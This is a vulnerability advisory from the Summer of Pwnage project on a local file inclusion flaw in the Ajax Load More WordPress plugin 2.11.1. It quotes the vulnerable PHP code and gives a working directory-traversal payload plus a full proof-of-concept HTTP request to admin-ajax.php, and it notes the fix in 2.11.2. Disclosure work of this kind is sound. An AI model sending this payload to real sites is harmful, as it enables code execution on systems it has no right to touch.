WordPress Ajax Load More 2.11.1 Local File Inclusion

`------------------------------------------------------------------------  
Ajax Load More Local File Inclusion vulnerability  
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Burak Kelebek, July 2016  
  
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Abstract  
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It was discovered that the Ajax Load More WordPress plugin is vulnerable  
to Local File Inclusion. This issue can potentially be exploited to run  
arbitrary PHP code. In order to do so, the attacker must be able to  
place an arbitrary PHP file on the target system. The malicious file  
must have the .php extension.  
  
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OVE ID  
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OVE-20160712-0034  
  
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Tested versions  
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This issue was succesfully tested on the Ajax Load More - Infinite  
Scroll WordPress Plugin version 2.11.1.  
  
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Fix  
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This issue is fixed in version 2.11.2  
  
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Details  
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https://sumofpwn.nl/advisory/2016/ajax_load_more_local_file_inclusion_vulnerability.html  
  
Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; which results in Local File Inclusion.  
For a succesfull exploit the payload needed to contain 'repeater' value and a numeric value which when splitted by 'alm_get_repeater_type' results in 'repeater' for the $type parameter.  
  
repeater=repeater2f%2e%2e%2f../../../xmlrpc  
  
https://www.owasp.org/index.php/PHP_File_Inclusion  
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion  
  
$repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default';   
$type = alm_get_repeater_type($repeater);  
  
function alm_get_repeater_type($repeater){  
$type = preg_split('/(?=\d)/', $repeater, 2); // split $repeater value at number to determine type  
$type = $type[0]; // default | repeater | template_   
return $type;  
}  
  
[..]  
  
if($queryType === 'standard'){  
  
[..]  
  
if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){  
do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater  
}else{  
include( alm_get_current_repeater($repeater, $type) ); //Include repeater template  
}  
  
[..]  
  
function alm_get_current_repeater($repeater, $type) {  
  
$template = $repeater;  
$include = '';  
  
// If is Custom Repeaters (Custom Repeaters v1)  
if( $type == 'repeater' && has_action('alm_repeater_installed' )){  
$include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';   
  
if(!file_exists($include)) //confirm file exists   
alm_get_default_repeater();  
  
}  
// If is Unlimited Repeaters (Custom Repeaters v2)  
elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){  
global $wpdb;  
$blog_id = $wpdb->blogid;  
  
if($blog_id > 1){   
$include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php';  
}else{  
$include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php';   
}   
  
if(!file_exists($include)) //confirm file exists   
$include = alm_get_default_repeater();   
  
}  
// Default repeater  
else{   
$include = alm_get_default_repeater();  
}  
  
return $include;  
  
}  
  
The victim should have the paid add-on Custom Repeater or Unlimited installed.  
Proof of Concept  
  
GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1  
Host: 192.168.50.9  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.50.9/html/  
Cookie:  
Connection: close  
Pragma: no-cache  
Cache-Control: no-cache  
  
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
  
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